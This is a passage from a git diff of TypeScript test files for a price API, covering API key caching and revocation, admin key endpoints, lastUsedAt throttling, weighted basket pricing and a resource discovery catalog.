'GET', url: '/price/test', headers }) + expect([r1.statusCode, r2.statusCode, r3.statusCode]).toEqual([200, 200, 200]) + // Three requests, one database lookup. + expect(mockFindUnique).toHaveBeenCalledTimes(1) + }) + + it('caches negative lookups so invalid keys do not hit Postgres per attempt', async () => { + mockFindUnique.mockResolvedValue(null) + expect(await lookupApiKey('bad')).toBeNull() + expect(await lookupApiKey('bad')).toBeNull() + expect(await lookupApiKey('bad')).toBeNull() + expect(mockFindUnique).toHaveBeenCalledTimes(1) + }) + + it('re-checks expiry on a cache hit, so the TTL never outlives the key', async () => { + vi.useFakeTimers() + try { + mockFindUnique.mockResolvedValue({ + ...validRecord, expiresAt: new Date(Date.now() + 5_000), + }) + expect(await lookupApiKey('soon')).not.toBeNull() + // Move past the key's own expiry but stay well within the cache TTL. + vi.advanceTimersByTime(6_000) + expect(await lookupApiKey('soon')).toBeNull() + // Still served from cache — expiry was re-evaluated, not re-queried. + expect(mockFindUnique).toHaveBeenCalledTimes(1) + } finally { + vi.useRealTimers() + } + }) + + it('stops a revoked key immediately on the instance that handles the revoke', async () => { + const token = 'to-be-revoked' + mockFindUnique.mockResolvedValue({ ...validRecord }) + const app = await buildAuthedApp() + const headers = { authorization: `Bearer ${token}` } + expect((await app.inject({ method: 'GET', url: '/price/test', headers })).statusCode).toBe(200) + + // Revoke: Postgres now reports it revoked, and the revoke path drops the + // cache entry (as admin.ts does after the UPDATE). + mockFindUnique.mockResolvedValue({ ...validRecord, revokedAt: new Date() }) + invalidateApiKey(hashApiKey(token)) + + const res = await app.inject({ method: 'GET', url: '/price/test', headers }) + expect(res.statusCode).toBe(401) + expect(res.json().code).toBe('revoked') + }) + + it('stops a revoked key within the cache TTL even without explicit invalidation', async () => { + vi.useFakeTimers() + try { + mockFindUnique.mockResolvedValue({ ...validRecord }) + expect(await lookupApiKey('cross-instance')).not.toBeNull() + + // Revoked on another instance: our cache is not invalidated here. + mockFindUnique.mockResolvedValue({ ...validRecord, revokedAt: new Date() }) + vi.advanceTimersByTime(29_000) // within the 30s TTL — still trusted + expect(await lookupApiKey('cross-instance')).not.toBeNull() + vi.advanceTimersByTime(2_000) // past the TTL — re-read, now rejected + expect(await lookupApiKey('cross-instance')).toBeNull() + } finally { + vi.useRealTimers() + } + }) + + it('keeps scopes on a cache hit, so a scoped route still works', async () => { + // The cached value carries the whole ApiKeyContext, scopes included. If it + // did not, a hit would authenticate with `scopes: undefined`, hasScope + // would refuse, and every scoped route would 403 for the length of the TTL + // — which reads as an authorization bug, not a caching one. + mockFindUnique.mockResolvedValue({ ...validRecord, scopes: ['read:prices'] }) + + const app = Fastify() + await app.register(registerApiKeyAuth) + app.get('/scoped', { config: { scope: 'read:prices' } }, async () => ({ ok: true })) + await app.ready() + + const headers = { authorization: 'Bearer scoped-key' } + const first = await app.inject({ method: 'GET', url: '/scoped', headers }) + const second = await app.inject({ method: 'GET', url: '/scoped', headers }) + + expect(first.statusCode).toBe(200) + expect(second.statusCode).toBe(200) + expect(mockFindUnique).toHaveBeenCalledTimes(1) + await app.close() + }) + + it('exports cache lookups as a hit/miss metric', async () => { + mockFindUnique.mockResolvedValue({ ...validRecord }) + await lookupApiKey('metric-key') // miss → Postgres + await lookupApiKey('metric-key') // hit → cache + const output = await register.metrics() + expect(output).toContain('api_key_cache_lookups_total') + const values = (await api_key_cache_lookups_total.get()).values + const hit = values.find((v) => v.labels.result === 'hit')?.value ?? 0 + const miss = values.find((v) => v.labels.result === 'miss')?.value ?? 0 + expect(hit).toBeGreaterThanOrEqual(1) + expect(miss).toBeGreaterThanOrEqual(1) + }) +}) + +describe('admin endpoints', () => { + const ORIGINAL = process.env.ADMIN_TOKEN + beforeEach(() => { process.env.ADMIN_TOKEN = 'admin-secret' }) + afterEach(() => { + // Node stringifies undefined → "undefined"; delete to truly clear. + if (ORIGINAL === undefined) delete process.env.ADMIN_TOKEN + else process.env.ADMIN_TOKEN = ORIGINAL + }) + + async function buildAdminApp() { + const app = Fastify() + await registerAdminRoutes(app) + await app.ready() + return app + } + + it('generateApiKey produces a prefixed opaque key', () => { + const k = generateApiKey() + expect(k).toMatch(/^lens_[a-f0-9]{48}$/) + }) + + it('rejects minting without the admin token', async () => { + const before = (await admin_auth_failures_total.get()).values[0]?.value ?? 0 + const app = await buildAdminApp() + const res = await app.inject({ + method: 'POST', url: '/admin/keys', payload: { label: 'x' }, + }) + expect(res.statusCode).toBe(401) + expect(mockCreate).not.toHaveBeenCalled() + expect((await admin_auth_failures_total.get()).values[0]?.value).toBe(before + 1) + }) + + it('mints a key and returns the plaintext once (stored as hash only)', async () => { + mockCreate.mockImplementation(async ({ data }: any) => ({ + id: 'new-id', createdAt: new Date(), ratePerMin: 60, ratePerDay: 10000, monthlyQuotaCents: 10000, dailyQuotaCents: 500, overagePolicy: 'block', ...data, + })) + const app = await buildAdminApp() + const res = await app.inject({ + method: 'POST', + url: '/admin/keys', + headers: { 'x-admin-token': 'admin-secret' }, + payload: { label: 'acme', ratePerMin: 120, ratePerDay: 50000 }, + }) + expect(res.statusCode).toBe(201) + const body = res.json() + expect(body.key).toMatch(/^lens_[a-f0-9]{48}$/) + expect(body.label).toBe('acme') + const stored = mockCreate.mock.calls[0][0].data + expect(stored.hash).toBe(sha256(body.key)) + expect(stored.hash).not.toBe(body.key) + }) + + it('accepts quota configuration on key creation', async () => { + mockCreate.mockImplementation(async ({ data }: any) => ({ + id: 'new-id', createdAt: new Date(), ratePerMin: 60, ratePerDay: 10000, ...data, + })) + const app = await buildAdminApp() + const res = await app.inject({ + method: 'POST', + url: '/admin/keys', + headers: { 'x-admin-token': 'admin-secret' }, + payload: { label: 'acme', monthlyQuotaCents: 20000, dailyQuotaCents: 1000, overagePolicy: 'allow_overage' }, + }) + expect(res.statusCode).toBe(201) + const body = res.json() + expect(body.monthlyQuotaCents).toBe(20000) + expect(body.dailyQuotaCents).toBe(1000) + expect(body.overagePolicy).toBe('allow_overage') + }) + + it('mints a key with a scope set', async () => { + mockCreate.mockImplementation(async ({ data }: any) => ({ + id: 'new-id', createdAt: new Date(), ratePerMin: 60, ratePerDay: 10000, ...data, + })) + const app = await buildAdminApp() + const res = await app.inject({ + method: 'POST', + url: '/admin/keys', + headers: { 'x-admin-token': 'admin-secret' }, + payload: { label: 'scoped-partner', scopes: ['read:prices', 'subscribe'] }, + }) + expect(res.statusCode).toBe(201) + const body = res.json() + expect(body.key).toMatch(/^lens_[a-f0-9]{48}$/) + expect(body.scopes).toEqual(['read:prices', 'subscribe']) + const stored = mockCreate.mock.calls[0][0].data + expect(stored.scopes).toEqual(['read:prices', 'subscribe']) + }) + + it('lists keys with scopes visible', async () => { + mockFindMany.mockResolvedValue([ + { + id: 'key-1', + label: 'partner-prices', + scopes: ['read:prices'], + ratePerMin: 60, + ratePerDay: 10000, + revokedAt: null, + expiresAt: null, + createdAt: new Date(), + monthlyQuotaCents: 10000, + dailyQuotaCents: 500, + overagePolicy: 'block', + }, + { + id: 'key-2', + label: 'legacy-key', + scopes: [], + ratePerMin: 60, + ratePerDay: 10000, + revokedAt: null, + expiresAt: null, + createdAt: new Date(), + monthlyQuotaCents: 10000, + dailyQuotaCents: 500, + overagePolicy: 'block', + }, + ]) + const app = await buildAdminApp() + const res = await app.inject({ + method: 'GET', + url: '/admin/keys', + headers: { 'x-admin-token': 'admin-secret' }, + }) + expect(res.statusCode).toBe(200) + const body = res.json() + expect(body.keys).toHaveLength(2) + expect(body.keys[0].scopes).toEqual(['read:prices']) + expect(body.keys[1].scopes).toEqual([]) + }) + + it('rejects listing keys without admin token', async () => { + const app = await buildAdminApp() + const res = await app.inject({ + method: 'GET', + url: '/admin/keys', + }) + expect(res.statusCode).toBe(401) + expect(mockFindMany).not.toHaveBeenCalled() + }) + + it('revokes a key by id', async () => { + mockFindUnique.mockResolvedValue({ id: 'key-1', revokedAt: null }) + mockUpdate.mockResolvedValue({ id: 'key-1', revokedAt: new Date() }) + const app = await buildAdminApp() + const res = await app.inject({ + method: 'DELETE', + url: '/admin/keys/key-1', + headers: { 'x-admin-token': 'admin-secret' }, + }) + expect(res.statusCode).toBe(200) + expect(res.json()).toMatchObject({ id: 'key-1', revoked: true }) + expect(mockUpdate).toHaveBeenCalledWith({ + where: { id: 'key-1' }, + data: { revokedAt: expect.any(Date) }, + }) + }) + + it('returns 404 revoking a non-existent key', async () => { + mockFindUnique.mockResolvedValue(null) + const app = await buildAdminApp() + const res = await app.inject({ + method: 'DELETE', + url: '/admin/keys/missing', + headers: { 'x-admin-token': 'admin-secret' }, + }) + expect(res.statusCode).toBe(404) + }) + + it('protects the recent webhook failure endpoint with the admin token', async () => { + const app = await buildAdminApp() + const res = await app.inject({ method: 'GET', url: '/admin/webhook-delivery-failures' }) + expect(res.statusCode).toBe(401) + expect(prisma.webhookDeliveryFailure.findMany).not.toHaveBeenCalled() + }) + + it('returns a bounded newest-first diagnostic list to admins', async () => { + const failures = [{ id: 'failed-1', endpoint: 'https://hooks.example.test/alerts', errorCategory: 'http_5xx' }] + vi.mocked(prisma.webhookDeliveryFailure.findMany).mockResolvedValue(failures as any) + const app = await buildAdminApp() + const res = await app.inject({ + method: 'GET', + url: '/admin/webhook-delivery-failures?limit=150', + headers: { 'x-admin-token': 'admin-secret' }, + }) + expect(res.statusCode).toBe(200) + expect(res.json()).toEqual({ failures }) + expect(prisma.webhookDeliveryFailure.findMany).toHaveBeenCalledWith({ + orderBy: { createdAt: 'desc' }, + take: 100, + }) + }) + + it('registers authentication counters in the Prometheus registry', async () => { + const output = await register.metrics() + expect(output).toContain('api_key_auth_failures_total') + expect(output).toContain('admin_auth_failures_total') + }) +}) + +describe('lastUsedAt recording & throttling', () => { + it('records lastUsedAt on successful authentication', async () => { + mockFindUnique.mockResolvedValue({ + id: 'key-1', + label: 'acme', + ratePerMin: 120, + ratePerDay: 50000, + revokedAt: null, + expiresAt: null, + }) + const app = await buildAuthedApp() + const res = await app.inject({ + method: 'GET', + url: '/price/test', + headers: { authorization: 'Bearer test-valid-key' }, + }) + + expect(res.statusCode).toBe(200) + expect(mockUpdate).toHaveBeenCalledTimes(1) + expect(mockUpdate).toHaveBeenCalledWith({ + where: { id: 'key-1' }, + data: { lastUsedAt: expect.any(Date) }, + }) + }) + + it('does not write lastUsedAt on failed authentication or public routes', async () => { + mockFindUnique.mockResolvedValue(null) + const app = await buildAuthedApp() + + // 1. Failed auth (invalid key) + const resFail = await app.inject({ + method: 'GET', + url: '/price/test', + headers: { authorization: 'Bearer non-existent' }, + }) + expect(resFail.statusCode).toBe(401) + expect(mockUpdate).not.toHaveBeenCalled() + + // 2. Public route without auth + const resPublic = await app.inject({ + method: 'GET', + url: '/status', + }) + expect(resPublic.statusCode).toBe(200) + expect(mockUpdate).not.toHaveBeenCalled() + }) + + it('throttles writes so repeated requests do not cause a database write each time', async () => { + mockFindUnique.mockResolvedValue({ + id: 'key-throttled', + label: 'acme', + ratePerMin: 1000, + ratePerDay: 50000, + revokedAt: null, + expiresAt: null, + }) + const app = await buildAuthedApp() + const headers = { authorization: 'Bearer test-throttled-key' } + + // Send 5 rapid requests with the same key + for (let i = 0; i < 5; i++) { + const res = await app.inject({ + method: 'GET', + url: '/price/test', + headers, + }) + expect(res.statusCode).toBe(200) + } + + // Must be called exactly once across the 5 requests + expect(mockUpdate).toHaveBeenCalledTimes(1) + expect(mockUpdate).toHaveBeenCalledWith({ + where: { id: 'key-throttled' }, + data: { lastUsedAt: expect.any(Date) }, + }) + }) + + it('updates lastUsedAt again once the throttle interval has elapsed', async () => { + vi.useFakeTimers() + try { + const startTime = new Date('2026-10-20T12:00:00.000Z') + vi.setSystemTime(startTime) + + mockFindUnique.mockResolvedValue({ + id: 'key-timer', + label: 'acme', + ratePerMin: 1000, + ratePerDay: 50000, + revokedAt: null, + expiresAt: null, + }) + + const app = await buildAuthedApp() + const headers = { authorization: 'Bearer test-timer-key' } + + // 1st request at t = 0 + const r1 = await app.inject({ method: 'GET', url: '/price/test', headers }) + expect(r1.statusCode).toBe(200) + expect(mockUpdate).toHaveBeenCalledTimes(1) + expect(mockUpdate).toHaveBeenLastCalledWith({ + where: { id: 'key-timer' }, + data: { lastUsedAt: startTime }, + }) + + // 2nd request at t = 10s (within default 60s throttle) -> throttled + vi.advanceTimersByTime(10_000) + const r2 = await app.inject({ method: 'GET', url: '/price/test', headers }) + expect(r2.statusCode).toBe(200) + expect(mockUpdate).toHaveBeenCalledTimes(1) + + // 3rd request at t = 65s (past the 60s throttle) -> writes again + vi.advanceTimersByTime(55_000) + const laterTime = new Date('2026-10-20T12:01:05.000Z') + const r3 = await app.inject({ method: 'GET', url: '/price/test', headers }) + expect(r3.statusCode).toBe(200) + expect(mockUpdate).toHaveBeenCalledTimes(2) + expect(mockUpdate).toHaveBeenLastCalledWith({ + where: { id: 'key-timer' }, + data: { lastUsedAt: laterTime }, + }) + } finally { + vi.useRealTimers() + } + }) + + it('documents and honors configurable throttle interval via environment variable', () => { + const originalThrottle = process.env.KEY_LAST_USED_THROTTLE_SECONDS + const originalApiThrottle = process.env.API_KEY_LAST_USED_THROTTLE_SECONDS + try { + delete process.env.KEY_LAST_USED_THROTTLE_SECONDS + delete process.env.API_KEY_LAST_USED_THROTTLE_SECONDS + + // Default is 60s (60000ms) + expect(getKeyLastUsedThrottleMs()).toBe(DEFAULT_KEY_LAST_USED_THROTTLE_SECONDS * 1000) + expect(DEFAULT_KEY_LAST_USED_THROTTLE_SECONDS).toBe(60) + + // Configured via KEY_LAST_USED_THROTTLE_SECONDS + process.env.KEY_LAST_USED_THROTTLE_SECONDS = '15' + expect(getKeyLastUsedThrottleMs()).toBe(15_000) + + // Configured to 0 (no throttle) + process.env.KEY_LAST_USED_THROTTLE_SECONDS = '0' + expect(getKeyLastUsedThrottleMs()).toBe(0) + + // Fallback to API_KEY_LAST_USED_THROTTLE_SECONDS + delete process.env.KEY_LAST_USED_THROTTLE_SECONDS + process.env.API_KEY_LAST_USED_THROTTLE_SECONDS = '30' + expect(getKeyLastUsedThrottleMs()).toBe(30_000) + } finally { + if (originalThrottle !== undefined) process.env.KEY_LAST_USED_THROTTLE_SECONDS = originalThrottle + else delete process.env.KEY_LAST_USED_THROTTLE_SECONDS + + if (originalApiThrottle !== undefined) process.env.API_KEY_LAST_USED_THROTTLE_SECONDS = originalApiThrottle + else delete process.env.API_KEY_LAST_USED_THROTTLE_SECONDS + } + }) + + it('tracks throttle intervals independently per key', async () => { + // Keyed off the hash rather than a queue of mockResolvedValueOnce values: + // the lookup cache (#495) means a repeat request for the same key does not + // reach Postgres at all, so a sequential queue hands the *next* key's + // record to whichever lookup happens to miss the cache. + const records: Record = { + [sha256('key-alpha')]: { + id: 'key-alpha', + label: 'alpha', + ratePerMin: 100, + ratePerDay: 5000, + revokedAt: null, + expiresAt: null, + }, + [sha256('key-beta')]: { + id: 'key-beta', + label: 'beta', + ratePerMin: 100, + ratePerDay: 5000, + revokedAt: null, + expiresAt: null, + }, + } + mockFindUnique.mockImplementation(async ({ where }: { where: { hash: string } }) => + records[where.hash] ?? null + ) + + const app = await buildAuthedApp() + + // Key A: first request writes. + await app.inject({ + method: 'GET', + url: '/price/test', + headers: { authorization: 'Bearer key-alpha' }, + }) + expect(mockUpdate).toHaveBeenCalledTimes(1) + expect(mockUpdate).toHaveBeenLastCalledWith({ + where: { id: 'key-alpha' }, + data: { lastUsedAt: expect.any(Date) }, + }) + + // Key A again, immediately: throttled. + await app.inject({ + method: 'GET', + url: '/price/test', + headers: { authorization: 'Bearer key-alpha' }, + }) + expect(mockUpdate).toHaveBeenCalledTimes(1) + + // Key B: its own bucket, so it writes straight away. + await app.inject({ + method: 'GET', + url: '/price/test', + headers: { authorization: 'Bearer key-beta' }, + }) + expect(mockUpdate).toHaveBeenCalledTimes(2) + expect(mockUpdate).toHaveBeenLastCalledWith({ + where: { id: 'key-beta' }, + data: { lastUsedAt: expect.any(Date) }, + }) + }) + + it('does not fail authenticated requests if database update throws', async () => { + mockFindUnique.mockResolvedValue({ + id: 'key-failing-db', + label: 'failing', + ratePerMin: 100, + ratePerDay: 5000, + revokedAt: null, + expiresAt: null, + }) + mockUpdate.mockRejectedValueOnce(new Error('PostgreSQL connection terminated')) + + const app = await buildAuthedApp() + const res = await app.inject({ + method: 'GET', + url: '/price/test', + headers: { authorization: 'Bearer test-valid-key' }, + }) + + // Request must still succeed with 200 + expect(res.statusCode).toBe(200) + expect(res.json()).toEqual({ ok: true }) + expect(mockUpdate).toHaveBeenCalledTimes(1) + }) +}) diff --git a/src/__tests__/basket.test.ts b/src/__tests__/basket.test.ts index e7576403..50edb9cf 100644 --- a/src/__tests__/basket.test.ts +++ b/src/__tests__/basket.test.ts @@ -1,154 +1,154 @@ -import { describe, it, expect, vi, beforeEach } from 'vitest' -import Fastify from 'fastify' - -const { mockQuery } = vi.hoisted(() => ({ - mockQuery: vi.fn(), -})) - -vi.mock('../db', () => ({ - pgPool: { query: mockQuery }, -})) - -import { registerBasketRoutes } from '../routes/basket' - -async function buildApp() { - const app = Fastify({ logger: false }) - await registerBasketRoutes(app) - await app.ready() - return app -} - -describe('GET /basket', () => { - beforeEach(() => vi.clearAllMocks()) - - it('returns weighted basket price with normalized weights', async () => { - mockQuery.mockImplementation(async (_sql: string, params: string[]) => { - const asset = params[0] - if (asset === 'USDC') return { rows: [{ vwap: '1.0' }] } - if (asset === 'XLM') return { rows: [{ vwap: '0.1' }] } - return { rows: [{ vwap: null }] } - }) - - const app = await buildApp() - const res = await app.inject({ - method: 'GET', - url: '/basket?asset=USDC&weight=1&asset=XLM&weight=1', - }) - - expect(res.statusCode).toBe(200) - const body = res.json() - expect(body.basketPrice).toBeCloseTo(0.55, 5) - expect(body.weightSum).toBeCloseTo(1.0, 5) - expect(body.components).toHaveLength(2) - expect(body.components[0].asset).toBe('USDC') - expect(body.components[0].weight).toBeCloseTo(0.5, 5) - expect(body.components[1].asset).toBe('XLM') - expect(body.components[1].weight).toBeCloseTo(0.5, 5) - expect(body.computedAt).toBeDefined() - }) - - it('normalizes unequal weights to sum to 1.0', async () => { - mockQuery.mockImplementation(async (_sql: string, params: string[]) => { - const asset = params[0] - if (asset === 'USDC') return { rows: [{ vwap: '1.0' }] } - if (asset === 'EURC') return { rows: [{ vwap: '1.1' }] } - return { rows: [{ vwap: null }] } - }) - - const app = await buildApp() - const res = await app.inject({ - method: 'GET', - url: '/basket?asset=USDC&weight=3&asset=EURC&weight=1', - }) - - expect(res.statusCode).toBe(200) - const body = res.json() - expect(body.weightSum).toBeCloseTo(1.0, 5) - // USDC weight = 0.75, EURC weight = 0.25 - // basketPrice = 0.75*1.0 + 0.25*1.1 = 0.75 + 0.275 = 1.025 - expect(body.basketPrice).toBeCloseTo(1.025, 5) - expect(body.components[0].weight).toBeCloseTo(0.75, 5) - expect(body.components[1].weight).toBeCloseTo(0.25, 5) - }) - - it('returns 400 when no assets provided', async () => { - const app = await buildApp() - const res = await app.inject({ method: 'GET', url: '/basket' }) - expect(res.statusCode).toBe(400) - const body = res.json() - expect(body.error).toMatch(/Invalid asset: at least one asset is required/) - expect(body.code).toBe('VALIDATION_ERROR') - }) - - it('returns 400 when only one asset provided', async () => { - const app = await buildApp() - const res = await app.inject({ method: 'GET', url: '/basket?asset=USDC&weight=1' }) - expect(res.statusCode).toBe(400) - const body = res.json() - expect(body.error).toMatch(/Invalid asset: basket requires at least 2 assets/) - expect(body.code).toBe('VALIDATION_ERROR') - }) - - it('returns 400 when asset and weight counts do not match', async () => { - const app = await buildApp() - const res = await app.inject({ - method: 'GET', - url: '/basket?asset=USDC&asset=XLM&weight=1', - }) - expect(res.statusCode).toBe(400) - const body = res.json() - expect(body.error).toMatch(/Invalid weight: number of assets and weights must match/) - expect(body.code).toBe('VALIDATION_ERROR') - }) - - it('returns 400 when a weight is not a positive number', async () => { - const app = await buildApp() - const res = await app.inject({ - method: 'GET', - url: '/basket?asset=USDC&weight=0&asset=XLM&weight=1', - }) - expect(res.statusCode).toBe(400) - const body = res.json() - expect(body.error).toMatch(/Invalid weight: all weights must be positive numbers/) - expect(body.code).toBe('VALIDATION_ERROR') - }) - - it('returns 400 for a negative or non-numeric weight', async () => { - const app = await buildApp() - const negative = await app.inject({ - method: 'GET', - url: '/basket?asset=USDC&weight=-1&asset=XLM&weight=1', - }) - expect(negative.statusCode).toBe(400) - expect(negative.json().code).toBe('VALIDATION_ERROR') - - const nonNumeric = await app.inject({ - method: 'GET', - url: '/basket?asset=USDC&weight=abc&asset=XLM&weight=1', - }) - expect(nonNumeric.statusCode).toBe(400) - expect(nonNumeric.json().code).toBe('VALIDATION_ERROR') - await app.close() - }) - - it('returns 200 with error and reason when an asset has no price data', async () => { - mockQuery.mockImplementation(async (_sql: string, params: string[]) => { - const asset = params[0] - if (asset === 'USDC') return { rows: [{ vwap: '1.0' }] } - return { rows: [{ vwap: null }] } - }) - - const app = await buildApp() - const res = await app.inject({ - method: 'GET', - url: '/basket?asset=USDC&weight=1&asset=UNKNOWN&weight=1', - }) - // Changed from 404 to 200 per issue #262: the asset code is valid, the - // query succeeded, there is just no data. A 404 would imply the endpoint - // or the asset itself doesn't exist. - expect(res.statusCode).toBe(200) - expect(res.json().error).toMatch(/UNKNOWN/) - expect(res.json().reason).toBe('missing_price_data') - expect(res.json().missingAssets).toContain('UNKNOWN') - }) -}) +import { describe, it, expect, vi, beforeEach } from 'vitest' +import Fastify from 'fastify' + +const { mockQuery } = vi.hoisted(() => ({ + mockQuery: vi.fn(), +})) + +vi.mock('../db', () => ({ + pgPool: { query: mockQuery }, +})) + +import { registerBasketRoutes } from '../routes/basket' + +async function buildApp() { + const app = Fastify({ logger: false }) + await registerBasketRoutes(app) + await app.ready() + return app +} + +describe('GET /basket', () => { + beforeEach(() => vi.clearAllMocks()) + + it('returns weighted basket price with normalized weights', async () => { + mockQuery.mockImplementation(async (_sql: string, params: string[]) => { + const asset = params[0] + if (asset === 'USDC') return { rows: [{ vwap: '1.0' }] } + if (asset === 'XLM') return { rows: [{ vwap: '0.1' }] } + return { rows: [{ vwap: null }] } + }) + + const app = await buildApp() + const res = await app.inject({ + method: 'GET', + url: '/basket?asset=USDC&weight=1&asset=XLM&weight=1', + }) + + expect(res.statusCode).toBe(200) + const body = res.json() + expect(body.basketPrice).toBeCloseTo(0.55, 5) + expect(body.weightSum).toBeCloseTo(1.0, 5) + expect(body.components).toHaveLength(2) + expect(body.components[0].asset).toBe('USDC') + expect(body.components[0].weight).toBeCloseTo(0.5, 5) + expect(body.components[1].asset).toBe('XLM') + expect(body.components[1].weight).toBeCloseTo(0.5, 5) + expect(body.computedAt).toBeDefined() + }) + + it('normalizes unequal weights to sum to 1.0', async () => { + mockQuery.mockImplementation(async (_sql: string, params: string[]) => { + const asset = params[0] + if (asset === 'USDC') return { rows: [{ vwap: '1.0' }] } + if (asset === 'EURC') return { rows: [{ vwap: '1.1' }] } + return { rows: [{ vwap: null }] } + }) + + const app = await buildApp() + const res = await app.inject({ + method: 'GET', + url: '/basket?asset=USDC&weight=3&asset=EURC&weight=1', + }) + + expect(res.statusCode).toBe(200) + const body = res.json() + expect(body.weightSum).toBeCloseTo(1.0, 5) + // USDC weight = 0.75, EURC weight = 0.25 + // basketPrice = 0.75*1.0 + 0.25*1.1 = 0.75 + 0.275 = 1.025 + expect(body.basketPrice).toBeCloseTo(1.025, 5) + expect(body.components[0].weight).toBeCloseTo(0.75, 5) + expect(body.components[1].weight).toBeCloseTo(0.25, 5) + }) + + it('returns 400 when no assets provided', async () => { + const app = await buildApp() + const res = await app.inject({ method: 'GET', url: '/basket' }) + expect(res.statusCode).toBe(400) + const body = res.json() + expect(body.error).toMatch(/Invalid asset: at least one asset is required/) + expect(body.code).toBe('VALIDATION_ERROR') + }) + + it('returns 400 when only one asset provided', async () => { + const app = await buildApp() + const res = await app.inject({ method: 'GET', url: '/basket?asset=USDC&weight=1' }) + expect(res.statusCode).toBe(400) + const body = res.json() + expect(body.error).toMatch(/Invalid asset: basket requires at least 2 assets/) + expect(body.code).toBe('VALIDATION_ERROR') + }) + + it('returns 400 when asset and weight counts do not match', async () => { + const app = await buildApp() + const res = await app.inject({ + method: 'GET', + url: '/basket?asset=USDC&asset=XLM&weight=1', + }) + expect(res.statusCode).toBe(400) + const body = res.json() + expect(body.error).toMatch(/Invalid weight: number of assets and weights must match/) + expect(body.code).toBe('VALIDATION_ERROR') + }) + + it('returns 400 when a weight is not a positive number', async () => { + const app = await buildApp() + const res = await app.inject({ + method: 'GET', + url: '/basket?asset=USDC&weight=0&asset=XLM&weight=1', + }) + expect(res.statusCode).toBe(400) + const body = res.json() + expect(body.error).toMatch(/Invalid weight: all weights must be positive numbers/) + expect(body.code).toBe('VALIDATION_ERROR') + }) + + it('returns 400 for a negative or non-numeric weight', async () => { + const app = await buildApp() + const negative = await app.inject({ + method: 'GET', + url: '/basket?asset=USDC&weight=-1&asset=XLM&weight=1', + }) + expect(negative.statusCode).toBe(400) + expect(negative.json().code).toBe('VALIDATION_ERROR') + + const nonNumeric = await app.inject({ + method: 'GET', + url: '/basket?asset=USDC&weight=abc&asset=XLM&weight=1', + }) + expect(nonNumeric.statusCode).toBe(400) + expect(nonNumeric.json().code).toBe('VALIDATION_ERROR') + await app.close() + }) + + it('returns 200 with error and reason when an asset has no price data', async () => { + mockQuery.mockImplementation(async (_sql: string, params: string[]) => { + const asset = params[0] + if (asset === 'USDC') return { rows: [{ vwap: '1.0' }] } + return { rows: [{ vwap: null }] } + }) + + const app = await buildApp() + const res = await app.inject({ + method: 'GET', + url: '/basket?asset=USDC&weight=1&asset=UNKNOWN&weight=1', + }) + // Changed from 404 to 200 per issue #262: the asset code is valid, the + // query succeeded, there is just no data. A 404 would imply the endpoint + // or the asset itself doesn't exist. + expect(res.statusCode).toBe(200) + expect(res.json().error).toMatch(/UNKNOWN/) + expect(res.json().reason).toBe('missing_price_data') + expect(res.json().missingAssets).toContain('UNKNOWN') + }) +}) diff --git a/src/__tests__/bazaarCatalog.test.ts b/src/__tests__/bazaarCatalog.test.ts index 8952d82b..b133c3ee 100644 --- a/src/__tests__/bazaarCatalog.test.ts +++ b/src/__tests__/bazaarCatalog.test.ts @@ -1,248 +1,248 @@ -import { describe, it, expect, vi, beforeEach } from 'vitest' - -const { mockFindMany, mockCount, mockUpsert, mockDeleteMany } = vi.hoisted(() => ({ - mockFindMany: vi.fn(), - mockCount: vi.fn(), - mockUpsert: vi.fn(), - mockDeleteMany: vi.fn(), -})) - -vi.mock('../db', () => ({ - prisma: { - bazaarResource: { - findMany: mockFindMany, - count: mockCount, - upsert: mockUpsert, - deleteMany: mockDeleteMany, - }, - }, -})) - -import { - parseDiscoveryFilters, - queryDiscoveryResources, - registerBazaarResource, -} from '../bazaar/catalog' -import type { RegisterBazaarResourceInput } from '../bazaar/types' - -beforeEach(() => { - mockFindMany.mockReset().mockResolvedValue([]) - mockCount.mockReset().mockResolvedValue(0) - mockUpsert.mockReset().mockResolvedValue({}) - mockDeleteMany.mockReset().mockResolvedValue({ count: 0 }) -}) - -describe('parseDiscoveryFilters', () => { - it('defaults limit to 50 and offset to 0', () => { - const filters = parseDiscoveryFilters({}) - expect(filters.limit).toBe(50) - expect(filters.offset).toBe(0) - }) - - it('clamps limit to a maximum of 200', () => { - const filters = parseDiscoveryFilters({ limit: '10000' }) - expect(filters.limit).toBe(200) - }) - - it('rejects a negative or zero limit, falling back to the default', () => { - expect(parseDiscoveryFilters({ limit: '-5' }).limit).toBe(50) - expect(parseDiscoveryFilters({ limit: '0' }).limit).toBe(50) - }) - - it('rejects a negative offset, falling back to 0', () => { - expect(parseDiscoveryFilters({ offset: '-10' }).offset).toBe(0) - }) - - it('passes through a valid offset', () => { - expect(parseDiscoveryFilters({ offset: '25' }).offset).toBe(25) - }) - - it('only accepts "http" or "mcp" for type, dropping anything else', () => { - expect(parseDiscoveryFilters({ type: 'http' }).type).toBe('http') - expect(parseDiscoveryFilters({ type: 'mcp' }).type).toBe('mcp') - expect(parseDiscoveryFilters({ type: 'websocket' }).type).toBeUndefined() - }) - - it('passes through payTo, network, and extensions filters', () => { - const filters = parseDiscoveryFilters({ - payTo: 'GABC', - network: 'stellar:pubnet', - extensions: 'bazaar', - }) - expect(filters.payTo).toBe('GABC') - expect(filters.network).toBe('stellar:pubnet') - expect(filters.extensions).toBe('bazaar') - }) -}) - -describe('queryDiscoveryResources', () => { - it('filters by type', async () => { - await queryDiscoveryResources({ type: 'mcp', limit: 50, offset: 0 }) - expect(mockFindMany).toHaveBeenCalledWith( - expect.objectContaining({ where: expect.objectContaining({ type: 'mcp' }) }) - ) - }) - - it('filters by payTo', async () => { - await queryDiscoveryResources({ payTo: 'GPAY', limit: 50, offset: 0 }) - expect(mockFindMany).toHaveBeenCalledWith( - expect.objectContaining({ where: expect.objectContaining({ payTo: 'GPAY' }) }) - ) - }) - - it('resolves a CAIP-2 network filter to the internal NetworkName', async () => { - await queryDiscoveryResources({ network: 'stellar:pubnet', limit: 50, offset: 0 }) - expect(mockFindMany).toHaveBeenCalledWith( - expect.objectContaining({ where: expect.objectContaining({ network: 'mainnet' }) }) - ) - }) - - it('resolves stellar:testnet to testnet', async () => { - await queryDiscoveryResources({ network: 'stellar:testnet', limit: 50, offset: 0 }) - expect(mockFindMany).toHaveBeenCalledWith( - expect.objectContaining({ where: expect.objectContaining({ network: 'testnet' }) }) - ) - }) - - it('passes through an unrecognized network filter verbatim', async () => { - await queryDiscoveryResources({ network: 'eip155:8453', limit: 50, offset: 0 }) - expect(mockFindMany).toHaveBeenCalledWith( - expect.objectContaining({ where: expect.objectContaining({ network: 'eip155:8453' }) }) - ) - }) - - it('filters by extension key presence', async () => { - await 